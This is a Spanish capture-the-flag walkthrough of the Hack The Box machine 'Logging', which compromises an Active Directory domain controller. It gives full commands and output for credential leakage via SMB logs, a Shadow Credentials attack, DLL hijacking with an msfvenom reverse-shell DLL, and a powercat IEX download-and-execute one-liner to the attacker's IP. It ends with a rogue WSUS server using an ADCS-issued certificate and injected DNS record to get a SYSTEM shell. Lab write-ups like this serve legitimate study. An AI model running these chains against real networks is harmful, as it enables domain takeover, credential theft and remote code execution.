Descripción

Logging es una máquina de Hack The Box de dificultad media que cuenta con las siguientes vulnerabilidades:

  • Reconocimiento inicial de Active Directory mediante un escenario de brecha asumida
  • Enumeración SMB conduce al descubrimiento de credenciales en un registro guardado en una carpeta compartida
  • Pivote de usuario vía los permisos GenericWrite y el ataque Shadow Credentials, lo que permite tener permisos remotos en la máquina
  • Pivote de usuario utilizando la técnica de secuestro de DLL sobre un servicio ejecutado por otro usuario
  • Escalada de Privilegios con un servidor WSUS malicioso y actualizaciones maliciosas, con la inyección de valores DNS y la generación de un certificado TLS confiable por el dominio

Reconocimiento

Primero, vamos a verificar con el comando ping si la máquina está activa y el sistema operativo del sistema. La dirección IP de la máquina objetivo es 10.129.40.79.

$ ping -c 3 10.129.40.79
PING 10.129.40.79 (10.129.40.79) 56(84) bytes of data.
64 bytes from 10.129.40.79: icmp_seq=1 ttl=127 time=43.7 ms
64 bytes from 10.129.40.79: icmp_seq=2 ttl=127 time=43.0 ms
64 bytes from 10.129.40.79: icmp_seq=3 ttl=127 time=45.7 ms

--- 10.129.40.79 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 43.035/44.133/45.676/1.123 ms

La máquina está activa y con el TTL que es igual a 127 (128 menos 1 salto) podemos asegurar que es una máquina Windows. Ahora vamos a realizar un escaneo de puertos Nmap TCP SYN para verificar todos los puertos abiertos.

$ sudo nmap 10.129.40.79 -sS -Pn -oN nmap_scan
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.40.79
Host is up (0.043s latency).
Not shown: 987 closed tcp ports (reset)
PORT     STATE SERVICE
53/tcp   open  domain
80/tcp   open  http
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
5985/tcp open  wsman

Nmap done: 1 IP address (1 host up) scanned in 6.90 seconds

Obtenemos muchos puertos abiertos, posiblemente relacionado con un entorno de Active Directory.

Enumeración

Luego realizamos un escaneo más avanzado, con versión de servicio y scripts.

$ nmap 10.129.40.79 -sV -sC -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985 -oN nmap_scan_ports
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.40.79
Host is up (0.044s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|_  start_date: N/A
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.15 seconds

Encontramos que esta máquina es el Controlador de Dominio del dominio logging.htb con el nombre de host DC01. Añadimos los hosts al archivo /etc/hosts y actualizamos la fecha y la hora de la máquina.

$ echo "10.129.40.79 logging.htb" | sudo tee -a /etc/hosts
$ echo "10.129.40.79 DC01.logging.htb" | sudo tee -a /etc/hosts
$ sudo timedatectl set-ntp off 
$ sudo rdate -n logging.htb

Comenzamos la enumeración del dominio con una brecha asumida, tenemos la contraseña del usuario wallace.everette, Welcome2026@. Encontramos una carpeta compartida a través del protocolo SMB, con el nombre Logs, descargamos todos los archivos.

$ smbclient -L '//logging.htb/' -U 'wallace.everette%Welcome2026@' 

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        Logs            Disk      
        NETLOGON        Disk      Logon server share 
        SYSVOL          Disk      Logon server share 
        WSUSTemp        Disk      A network share used by Local Publishing from a Remote WSUS Console Instance.
$ smbclient '//logging.htb/Logs' -U 'wallace.everette%Welcome2026@'
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Fri Apr 17 01:10:09 2026
  ..                                  D        0  Fri Apr 17 01:10:09 2026
  Audit_Heartbeat.log                 A     1294  Fri Apr 17 01:10:09 2026
  IdentitySync_Trace_20260219.log      A     8488  Fri Apr 17 01:10:09 2026
  Service_State.log                   A      468  Fri Apr 17 01:10:09 2026
  TaskMonitor.log                     A     1170  Fri Apr 17 01:10:09 2026

                6657279 blocks of size 4096. 1042011 blocks available
smb: \> mget *
Get file Audit_Heartbeat.log? y
Get file IdentitySync_Trace_20260219.log? y
Get file Service_State.log? y
Get file TaskMonitor.log? y

Encontramos credenciales en el archivo IdentitySync_trace_20260219.log, con el nombre de usuario svc_recovery y la contraseña Em3rg3ncyPa$$2025.

$ cat IdentitySync_Trace_20260219.log 
...
[2026-02-09 03:00:01.442] [PID:4102] [Thread:12] INFO  - Service: logging.IdentitySync.Engine.Internal (v2.4.2.0)
[2026-02-09 03:00:01.458] [PID:4102] [Thread:12] DEBUG - Environment: OS=Microsoft Windows Server 2019, CoreCount=4, Mem=16GB
[2026-02-09 03:00:01.470] [PID:4102] [Thread:12] INFO  - Initializing module [HR-Connector]...
[2026-02-09 03:00:02.215] [PID:4102] [Thread:12] INFO  - Establishing SQL session with HR01.logging.htb...
[2026-02-09 03:00:02.890] [PID:4102] [Thread:08] TRACE - Querying [loggingHR].[dbo].[Employees] where SyncStatus = 0
[2026-02-09 03:00:03.012] [PID:4102] [Thread:08] INFO  - SQL Session verified. Synchronizing 14 records (BatchID: 88AF-01).
[2026-02-09 03:00:03.055] [PID:4102] [Thread:04] INFO  - Validating AD target health: DC01.logging.htb (Port 389)
[2026-02-09 03:00:03.110] [PID:4102] [Thread:04] TRACE - Initializing LdapConnection object...
[2026-02-09 03:00:03.125] [PID:4102] [Thread:04] VERBOSE - ConnectionContext Dump: { Domain: "logging.htb", Server: "DC01", SSL: "False", BindUser: "LOGGING\svc_recovery", BindPass: "Em3rg3ncyPa$$2025", Timeout: 30 }
[2026-02-19 03:00:03.488] [PID:4102] [Thread:04] ERROR - System.DirectoryServices.Protocols.LdapException: A local error occurred.
   at System.DirectoryServices.Protocols.LdapConnection.Bind(NetworkCredential credential)
   at logging.IdentitySync.Engine.LdapProvider.Connect()
   --- Server Error Details ---
   Server error: 8009030C: LdapErr: DSID-0C090569, comment: AcceptSecurityContext error, data 52e, v4563
   Hex Error: 0x31 (LDAP_INVALID_CREDENTIALS)
   Win32 Error: 49 (Invalid Credentials)
   ----------------------------
[2026-02-19 03:00:03.510] [PID:4102] [Thread:12] WARN  - Connectivity failed for logging\svc_recovery. Checking alternate Domain Controller...
[2026-02-09 03:00:03.650] [PID:4102] [Thread:12] CRITICAL - Domain-wide LDAP bind failure. Task aborted.
[2026-02-10 03:00:03.702] [PID:4102] [Thread:12] DEBUG - Generating SMTP alert for it-alerts@logging.htb
[2026-02-10 03:00:04.112] [PID:4102] [Thread:12] INFO  - Process exit code: 1. Cleaning up session buffers.
[2026-02-10 03:05:00.005] [PID:4102] [Thread:01] INFO  - Heartbeat: Service [IdentitySync.Engine] is RESPONSIVE.
[2026-02-11 03:05:01.210] [PID:4102] [Thread:14] TRACE - Threadpool: 4 active, 0 queued.
...

Verificamos que la contraseña es incorrecta para el usuario svc_recovery.

$ netexec ldap logging.htb -u svc_recovery -p 'Em3rg3ncyPa$$2025'                                                      130
LDAP        10.129.40.79    389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:logging.htb)
LDAP        10.129.40.79    389    DC01             [-] logging.htb\svc_recovery:Em3rg3ncyPa$$2025

Procedemos a enumerar la información sobre el usuario svc_recovery utilizando la herramienta rpcclient, para verificar los grupos a los que pertenece.

$ rpcclient -U 'logging.htb/wallace.everette%Welcome2026@' logging.htb
rpcclient $> lookupnames svc_recovery
svc_recovery S-1-5-21-4020823815-2796529489-1682170552-2104 (User: 1)
rpcclient $> queryusergroups 2104
        group rid:[0x835] attr:[0x7]
        group rid:[0x201] attr:[0x7]
        group rid:[0x20d] attr:[0x7]
rpcclient $> querygroup 0x835
        Group Name:     Emergency Recovery
        Description:
        Group Attribute:7
        Num Members:1
rpcclient $> querygroup 0x201
        Group Name:     Domain Users
        Description:    All domain users
        Group Attribute:7
        Num Members:11
rpcclient $> querygroup 0x20d
        Group Name:     Protected Users
        Description:    Members of this group are afforded additional protections against authentication security threats. See http://go.microsoft.com/fwlink/?LinkId=298939 for more information.
        Group Attribute:7
        Num Members:2

El usuario svc_recovery pertenece a los grupos Emergency Recovery, Domain Users y Protected Users. A los usuarios de Protected Users group solo se les permite iniciar sesión usando el protocolo Kerberos. Después de investigar un poco, encontramos que la contraseña correcta es Em3rg3ncyPa$$2026, siguiendo el formato de la primera contraseña de brecha asumida.

$ netexec ldap logging.htb -u svc_recovery -p 'Em3rg3ncyPa$$2026' -k
LDAP        logging.htb     389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:logging.htb)
LDAP        logging.htb     389    DC01             [+] logging.htb\svc_recovery:Em3rg3ncyPa$$2026

Explotación

Determinamos que el usuario svc_recovery tiene el permiso GenericWrite sobre la cuenta de servicio administrada (MSA) msa_health$.

$ bloodyAD -d logging.htb --host DC01.logging.htb -u 'svc_recovery' -p 'Em3rg3ncyPa$$2026' -k get writable

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=logging,DC=htb
permission: WRITE

distinguishedName: CN=svc_recovery,CN=Users,DC=logging,DC=htb
permission: WRITE

distinguishedName: CN=msa_health,CN=Managed Service Accounts,DC=logging,DC=htb
permission: WRITE

Podemos recuperar la contraseña hasheada (NTLM) del usuario msa_health$ usando el ataque de Shadow Credentials.

$ certipy-ad shadow auto -target DC01.logging.htb -dc-host DC01.logging.htb -username 'svc_recovery@logging.htb' -password 'Em3rg3ncyPa$$2026' -k -account 'msa_health$'
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[!] DNS resolution failed: The DNS query name does not exist: DC01.logging.htb.
[!] Use -debug to print a stacktrace
[*] Targeting user 'msa_health$'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '25f820644d9541afacab3a7762a126a9'
[*] Adding Key Credential with device ID '25f820644d9541afacab3a7762a126a9' to the Key Credentials for 'msa_health$'
[*] Successfully added Key Credential with device ID '25f820644d9541afacab3a7762a126a9' to the Key Credentials for 'msa_health$'
[*] Authenticating as 'msa_health$' with the certificate
[*] Certificate identities:
[*]     No identities found in this certificate
[*] Using principal: 'msa_health$@logging.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'msa_health.ccache'
[*] Wrote credential cache to 'msa_health.ccache'
[*] Trying to retrieve NT hash for 'msa_health$'
[*] Restoring the old Key Credentials for 'msa_health$'
[*] Successfully restored the old Key Credentials for 'msa_health$'
[*] NT hash for 'msa_health$': 603fc24ee01a9409f83c9d1d701485c5

Obtenemos el hash NT para el usuario msa_health$, 603fc24ee01a9409f83c9d1d701485c5. También obtenemos el archivo TGT, msa_health.ccache. Podemos abrir una sesión remota usando la herramienta evil-winrm.

$ evil-winrm-py -i logging.htb -u msa_health$ -H 603fc24ee01a9409f83c9d1d701485c5
          _ _            _                             
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _ 
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.5.0

[*] Connecting to 'logging.htb:5985' as 'msa_health$'
evil-winrm-py PS C:\Users\msa_health$\Documents> whoami
logging\msa_health$

Enumerando la máquina, encontramos los logs de UpdateMonitor, un servicio que se ejecuta periódicamente.

evil-winrm-py PS C:\Users\msa_health$\Documents>
evil-winrm-py PS C:\Users\msa_health$\Documents> cd C:\ProgramData\UpdateMonitor\Logs
evil-winrm-py PS C:\ProgramData\UpdateMonitor\Logs> dir

    Directory: C:\ProgramData\UpdateMonitor\Logs

Mode                         Length Name
----                         ------ ----
-a----                        70374 monitor.log

evil-winrm-py PS C:\ProgramData\UpdateMonitor\Logs> type monitor.log
Starting Sentinel Update Check...
Checking for update on core server...
Info: Core did not find file Settings_Update.zip
Last status: File not found on core
Checking for update on local server...
No updates found locally: C:\ProgramData\UpdateMonitor\Settings_Update.zip.
Loading update applier: C:\Program Files\UpdateMonitor\bin\settings_update.dll
Failed to load settings_update.dll. Error code: 126
Update check completed.

El registro describe un proceso de verificación de actualización fallido realizado por el sistema Sentinel. Comienza intentando recuperar un paquete de actualización de un servidor central (core), pero el archivo Settings_Update.zip no se encuentra. Una verificación posterior en el servidor local también falla, ya que el paquete de actualización falta del directorio esperado (C:\ProgramData\UpdateMonitor). El sistema luego intenta cargar una biblioteca dinámica (settings_update.dll) responsable de aplicar las actualizaciones, pero este paso también falla con el código de error 126, lo que indica que la DLL no pudo ser cargada, probablemente debido a que falta o tiene dependencias no resueltas. En general, el proceso de actualización se completa sin éxito debido a archivos de actualización faltantes y un fallo al cargar el manejador de actualizaciones.

Si se nos permitiera escribir en el directorio C:\ProgramData\UpdateMonitor, podríamos crear un paquete de actualización malicioso .zip para inyectar un archivo .dll que abrirá un aterminal inversa como el usuario que está ejecutando el servicio. Comenzamos creando el archivo .dll y el archivo .zip.

$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.167 LPORT=1234 -f dll > settings_update.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of dll file: 9216 bytes
$ zip -r Settings_Update.zip settings_update.dll
  adding: settings_update.dll (deflated 82%)

Luego lo subimos a la carpeta UpdateMonitor con los permisos apropiados. Pero primero necesitamos abrir un puerto TCP de escucha en el puerto 1234, con el comando nc -nvlp 1234.

evil-winrm-py PS C:\ProgramData\UpdateMonitor\Logs> cd ..
evil-winrm-py PS C:\ProgramData\UpdateMonitor> upload Settings_Update.zip .
Uploading /home/r/Documentos/htb/logging/Settings_Update.zip
[+] File uploaded successfully as: C:\ProgramData\UpdateMonitor\Settings_Update.zip
evil-winrm-py PS C:\ProgramData\UpdateMonitor> icacls "C:\ProgramData\UpdateMonitor\Settings_Update.zip" /grant "Users:(F)"
processed file: C:\ProgramData\UpdateMonitor\Settings_Update.zip
Successfully processed 1 files; Failed processing 0 files

Después de unos minutos recibimos la terminal inversa como el usuario jaylee.clifton.

$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.167] from (UNKNOWN) [10.129.40.79] 64849
Microsoft Windows [Version 10.0.17763.8644]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
logging\jaylee.clifton

Post-Explotación

Vamos a actualizar la terminal usando la herramienta powercat.ps1 (iniciamos un nuevo puerto TCP de escucha 1235).

$ mkdir server
$ cd server
$ cp /usr/share/powershell-empire/empire/server/data/module_source/management/powercat.ps1 .
$ python -m http.server 80
$ nc -nvlp 1235

Ejecutamos el comando para desplegar la terminal inversa en la máquina remota:

C:\Windows\system32>powershell IEX(New-Object System.Net.Webclient).DownloadString('http://10.10.14.167/powercat.ps1');powercat -c 10.10.14.167 -p 1235 -e powershell

Al enumerar la máquina remota encontramos la carpeta Wsus, esto puede indicar que el Controlador de Dominio utiliza un servicio WSUS para descargar e instalar actualizaciones.

PS C:\Windows\system32> cd C:\
PS C:\> dir
    Directory: C:\
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        4/16/2026   5:26 PM                inetpub
d-----       10/10/2020   8:38 AM                PerfLogs
d-r---        4/16/2026   6:40 PM                Program Files
d-----        4/10/2020   5:52 AM                Program Files (x86)
d-----        4/16/2026   4:10 PM                Share
d-r---        4/17/2026   1:47 PM                Users
d-----        4/16/2026   8:29 PM                Windows
d-----        4/16/2026   5:29 PM                Wsus

WSUS (Windows Server Update Services) es un servicio de Microsoft que permite a los administradores gestionar y desplegar centralmente actualizaciones a sistemas Windows dentro de una red. Descarga actualizaciones de Microsoft y las distribuye a las máquinas cliente basándose en políticas configuradas. Encontramos un archivo HTML con un marcado (Support Incident View) en el archivo C:\Users\jaylee.clifton\Documents\Tickets\Incident_4922_WSUS_Remediation_ViewExport.html.

PS C:\> ls C:\Users\jaylee.clifton\Documents\Tickets
ls C:\Users\jaylee.clifton\Documents\Tickets
    Directory: C:\Users\jaylee.clifton\Documents\Tickets
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        4/16/2026   7:27 PM           2453 Incident_4922_WSUS_Remediation_ViewExport.html

Somos capaces de renderizar el archivo HTML.

Support Incident View: #4922

Assigned: jaylee.clifton [SR_SYSADMIN] Status: CLOSED - WORKAROUND APPLIED Priority: Urgent (Compliance)

2026-04-06 09:45 **Internal Note:**  
Machine is still choking on the standard catalog. BITS service is garbage and I'm not wasting another morning troubleshooting the local database. Since the "official" server migration is apparently taking forever, I've pointed this box to the staging endpoint at **wsus.logging.htb**.

2026-04-06 13:20 **Internal Note:**  
DNS is still not updated-standard for this department-so don't bother pinging it from outside the test subnet. I've set up a scheduled "ForceSync" task to deal with the inevitable lockups.

2026-04-06 16:10 **Final Resolution:**  
Task is running on a 120s loop. It nukes SoftwareDistribution and restarts the agent every cycle. It's a hack, but it works and it keeps the compliance auditors off my back. **Do not touch the trigger settings.** If the services don't come back up, that's your problem.

Desde una perspectiva de vulnerabilidad, este incidente revela varias debilidades de seguridad y prácticas operativas riesgosas. El sistema ha sido reconfigurado manualmente para usar un endpoint de preparación WSUS no estándar en lugar de la infraestructura oficial de actualizaciones, lo que podría exponerlo a suplantación de actualizaciones o problemas de confianza si ese endpoint no está debidamente asegurado. Además, las inconsistencias de DNS y la dependencia de una subred de prueba sugieren una segmentación de red inadecuada y posibles debilidades en la resolución de nombres. La creación de una tarea programada que reinicia repetidamente los componentes de Windows Update (eliminando la carpeta SoftwareDistribution y reiniciando servicios cada 120 segundos) introduce inestabilidad y podría ser abusada para persistencia o ejecución si se modifica. En general, la solución alternativa elude los controles estándar, debilita la integridad de las actualizaciones y crea múltiples superficies de ataque potenciales en torno a la entrega de actualizaciones y la ejecución de tareas.

La vulnerabilidad descrita en el artículo del blog de Digitrace es esencialmente un ataque en cadena que abusa de AD CS mal configurado para romper el modelo de confianza de WSUS asegurado por HTTPS, a menudo denominado una nueva clase de abuso de ADCS (a veces etiquetado como ESC17). Un ADCS mal configurado permite a los atacantes generar certificados confiables, suplantar un servidor WSUS a través de HTTPS y entregar actualizaciones maliciosas que conducen a un compromiso a nivel de SYSTEM.

Podemos enumerar la configuración WSUS desde la máquina remota consultando algunas claves de registro, como se comprobó en el artículo del blog de TrustedSec.

PS C:\> reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
    WUServer    REG_SZ    https://wsus.logging.htb:8531
    AcceptTrustedPublisherCerts    REG_DWORD    0x1
    SetProxyBehaviorForUpdateDetection    REG_DWORD    0x0
    WUStatusServer    REG_SZ    https://wsus.logging.htb:8531
    UpdateServiceUrlAlternate    REG_SZ    https://wsus.logging.htb:8531

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate\AU

Encontramos que el servidor de actualización WSUS apunta al nombre wsus.logging.htb, usando HTTPs con el puerto 8531. Si intentamos resolver el nombre de host, no se encuentran resultados.

PS C:\> nslookup wsus.logging.htb
nslookup wsus.logging.htb
*** localhost can't find wsus.logging.htb: Non-existent domain
Server:  localhost
Address:  127.0.0.1

Esto significa que podremos añadir una entrada DNS extra al controlador de dominio, para apuntar el servidor WSUS a nuestra máquina y luego crear un servidor malicioso para que la máquina descargue una actualización maliciosa y obtenga permisos completos sobre la máquina. Pero como encontramos previamente, el servidor es uno HTTPS, por lo que necesitamos tener un certificado TLS que esté firmado por una Autoridad de Certificación confiable por el Controlador de Dominio. Vamos a comprobar si tenemos permisos para generar certificados con las herramientas certipy y jq.

$ certipy-ad find -u msa_health$ -hashes 603fc24ee01a9409f83c9d1d701485c5 -dc-host DC01.logging.htb                
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[!] DNS resolution failed: The DNS query name does not exist: DC01.logging.htb.
[!] Use -debug to print a stacktrace
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Finding issuance policies
[*] Found 15 issuance policies
...
$ jq -r ' .["Certificate Templates"][] | select(.["Enrollee Supplies Subject"] and .Enabled) | "\(.["Template Name"])\n" + (.Permissions["Enrollment Permissions"]["Enrollment Rights"] | map("  " + .) | join("\n")) + "\n" ' Certipy.json
UpdateSrv
  LOGGING.HTB\IT
  LOGGING.HTB\Domain Admins
  LOGGING.HTB\Enterprise Admins

SubCA
  LOGGING.HTB\Domain Admins
  LOGGING.HTB\Enterprise Admins

WebServer
  LOGGING.HTB\Domain Admins
  LOGGING.HTB\Enterprise Admins

Encontramos que los usuarios que pertenecen al grupo IT pueden solicitar certificados utilizando la plantilla de certificado UpdateSrv. jaylee.clifton pertenece al grupo.

PS C:\> net user jaylee.clifton
net user jaylee.clifton
User name                    jaylee.clifton
...
Local Group Memberships      *Performance Log Users
Global Group memberships     *Domain Users         *IT                   
The command completed successfully.

No tenemos credenciales de la cuenta jaylee.clifton para generar los certificados usando la herramienta certipy, por lo que necesitamos generarlo desde la máquina remota Windows. Vamos a usar la herramienta Certify utilizando un binario precompilado descargado en la máquina. Luego enumeramos los Servicios de Certificados de Active Directory.

PS C:\> mkdir Temp
PS C:\> cd Temp
PS C:\Temp> IWR -OutFile Certify.py http://10.10.14.167/Certify.exe
PS C:\Temp> .\Certify.exe enum-cas
...
[*] Action: Find certificate authorities
[*] Using the search base 'CN=Configuration,DC=logging,DC=htb'
[*] Classifying vulnerabilities in the context of built-in low-privileged domain groups.

[*] Root CAs

    Cert SubjectName              : CN=logging-DC01-CA, DC=logging, DC=htb
    Cert Thumbprint               : 2DF3A80A22B1C559D4CD9A7815766707756E44FD
    Cert Serial                   : 196621CCC95B9C904E63B58E449ABC04
    Cert Start Date               : 4/16/2026 8:20:00 PM
    Cert End Date                 : 4/16/2126 8:30:00 PM
    Cert Chain                    : CN=logging-DC01-CA,DC=logging,DC=htb

    Cert SubjectName              : CN=logging-DC01-CA, DC=logging, DC=htb
    Cert Thumbprint               : F9602D8DFD301348688BFA75B5737FE4E03B3393
    Cert Serial                   : 7F87CFC6B0EE398E493EE3663D519C97
    Cert Start Date               : 4/16/2026 7:46:09 AM
    Cert End Date                 : 4/16/2036 7:56:08 AM
    Cert Chain                    : CN=logging-DC01-CA,DC=logging,DC=htb
...

Encontramos el nombre de la Autoridad de Certificación, logging-DC01-CA, lo usamos y el nombre de la plantilla, UpdateSrv para solicitar un certificado para el dominio wsus.logging.htb.

PS C:\Temp> .\Certify.exe request --ca DC01.logging.htb\logging-DC01-CA --template UpdateSrv --dns wsus.logging.htb
...

[*] Action: Request a certificate

[*] Current user context    : logging\jaylee.clifton
[*] No subject name specified, using current context as subject.

[*] Template                : UpdateSrv
[*] Subject                 : CN=jaylee.clifton, CN=Users, DC=logging, DC=htb
[*] Subject Alt Name(s)     : wsus.logging.htb

[*] Certificate Authority   : DC01.logging.htb\logging-DC01-CA
[*] CA Response             : The certificate has been issued.
[*] Request ID              : 7

[*] Certificate (PFX)       :

MIACAQMwgAYJKoZIhvcNAQcBoIAk...AAAAAAAAAAAAAAAAAAAAA=

Certify completed in 00:00:03.9876456

Luego copiamos el certificado a nuestra máquina, en formato PFX, y lo convertimos a formato PEM.

$ echo 'MIACAQMwgAYJKoZIhvcNAQcBoIAk...AAAAAAAAAAAAAAAAAAAAA=' | base64 -d > tls_certificate.pfx
$ openssl pkcs12 -in tls_certificate.pfx -out tls_certificate.pem -nodes

Luego generamos la carga útil (payload) que será ejecutada por el cliente WSUS; en este caso, se desplegará una terminal inversa (reverse shell).

$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.167 LPORT=1236 -f exe > CommandRun.exe

Luego el archivo será descargado en la máquina remota.

PS C:\Temp> iwr -OutFile CommandRun.exe http://10.10.14.167/CommandRun.exe

El siguiente paso es desplegar el servidor WSUS malicioso. Para eso podemos usar la herramienta wsuks iniciando un servidor WSUS HTTPS falso, vinculándolo a la interfaz tun0 en el puerto 8531 con un certificado TLS personalizado. Anuncia una dirección de servidor WSUS que apunta a nuestra máquina para simular o interceptar el tráfico de Windows Update. En este caso, para desplegar una terminal inversa. También añadimos la entrada a nuestro archivo /etc/hosts.

$ echo '10.10.14.167 wsus.logging.htb' | sudo tee -a /etc/hosts
$ git clone https://github.com/NeffIsBack/wsuks
$ cd wsuks
$ python -m venv venv
$ . venv/bin/activate
$ pip install poetry pip-nftables
$ poetry install
$ sudo venv/bin/wsuks --serve-only -I tun0 --WSUS-Server wsus.logging.htb --tls-cert ../tls_certificate.pem -c '/accepteula /s powershell.exe "C:\Temp\CommandRun.exe"'
...
[+] Command to execute: 
PsExec64.exe /accepteula /s powershell.exe "C:\Temp\CommandRun.exe"
[*] ===== Starting Web Server =====
[*] Using TLS certificate '../tls_certificate.pem' for HTTPS WSUS Server
[*] Starting WSUS Server on 10.10.14.167:8531...
[*] Serving executable as KB: 5183062

El servidor está activo. Finalmente utilizamos la herramienta bloodyAD para añadir la entrada DNS al controlador de dominio.

$ bloodyAD -d logging.htb --host DC01.logging.htb -u 'svc_recovery' -p 'Em3rg3ncyPa$$2026' -k add dnsRecord wsus.logging.htb 10.10.14.167
[+] wsus.logging.htb has been successfully added

Después de unos segundos se recibe una conexión en nuestro servidor WSUS falso y el comando es ejecutado.

[+] Received POST request: /ClientWebService/client.asmx, SOAP Action: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetConfig"
[+] Received POST request: /ClientWebService/client.asmx, SOAP Action: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie"
[+] Received POST request: /ClientWebService/client.asmx, SOAP Action: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/SyncUpdates"
[+] Received POST request: /ClientWebService/client.asmx, SOAP Action: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetExtendedUpdateInfo"
[+] Received GET request: /95d5137a-7aba-4377-bd12-9dcedf0c6864/PsExec64.exe
[+] GET request for exe: /95d5137a-7aba-4377-bd12-9dcedf0c6864/PsExec64.exe
[+] Received GET request: /95d5137a-7aba-4377-bd12-9dcedf0c6864/PsExec64.exe
[+] GET request for exe: /95d5137a-7aba-4377-bd12-9dcedf0c6864/PsExec64.exe

Recibimos la terminal inversa como el usuario SYSTEM.

$ nc -nvlp 1236
listening on [any] 1236 ...
connect to [10.10.14.167] from (UNKNOWN) [10.129.40.79] 49837
Microsoft Windows [Version 10.0.17763.8644]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

Finalmente restauramos la fecha y hora de nuestra máquina.

$ sudo timedatectl set-ntp on

Flags

Con permisos administrativos, podemos recuperar las flags user.txt y root.txt.

C:\Windows\system32>type c:\users\jaylee.clifton\desktop\user.txt
<REDACTED>

C:\Windows\system32>type c:\users\toby.brynleigh\Desktop\root.txt
<REDACTED>